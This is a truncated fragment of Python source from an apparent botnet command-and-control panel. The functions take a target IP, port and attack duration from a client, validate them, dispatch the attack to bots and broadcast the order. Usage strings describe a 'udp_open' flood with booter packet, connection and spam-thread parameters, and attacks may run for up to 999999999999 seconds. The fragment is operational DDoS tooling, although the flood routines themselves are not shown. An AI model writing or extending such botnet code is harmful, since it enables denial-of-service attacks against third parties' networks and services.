(args,mode, validate_ip, validate_port, validate_time, send, client, ansi_clear, attack_sent1, broadcast, data)
| 44 | send(client, "# NOTE if you enter / end in url | botnet can't attack ") |
| 45 | |
| 46 | def all_sent1(args,mode, validate_ip, validate_port, validate_time, send, client, ansi_clear, attack_sent1, broadcast, data): |
| 47 | mode_type = mode.split('.') |
| 48 | mode_type = mode_type[1].lower() |
| 49 | if mode_type == "udp_open": |
| 50 | args_load = 8 |
| 51 | else: |
| 52 | args_load = 4 |
| 53 | if len(args) == int(args_load): |
| 54 | print(args_load) |
| 55 | ip = args[1] |
| 56 | port = args[2] |
| 57 | secs = args[3] |
| 58 | if validate_ip(ip): |
| 59 | if validate_port(port): |
| 60 | if validate_time(secs): |
| 61 | send(client, ansi_clear, False) |
| 62 | attack_sent1(ip, port, secs, client) |
| 63 | broadcast(data) |
| 64 | else: |
| 65 | send(client, Fore.RED + 'Invalid attack duration (1-999999999999 seconds)') |
| 66 | else: |
| 67 | send(client, Fore.RED + 'Invalid port number (1-65535)') |
| 68 | else: |
| 69 | send(client, Fore.RED + 'Invalid IP-address') |
| 70 | else: |
| 71 | if mode_type == 'udp_open': |
| 72 | send(client, f'Usage: .{mode_type} [IP] [PORT] [TIME] [CONNECTION] [BOOTER_PACKET] [SPAM_THREAD] [SIZE]') |
| 73 | send(client, f'Example: .{mode_type} [IP] [PORT] [TIME] {random.randint(1,65536)} {random.randint(1,65536)} {random.randint(1,65536)} {random.randint(1,1314)}') |
| 74 | else: |
| 75 | send(client, f'Usage: .{mode_type} [IP] [PORT] [TIME]') |
| 76 | |
| 77 | def all_layer4(args,mode, validate_ip, validate_port, validate_time, validate_size, send, client, ansi_clear, attack_sent2, broadcast, data): |
| 78 | if len(args) == 6: |
no test coverage detected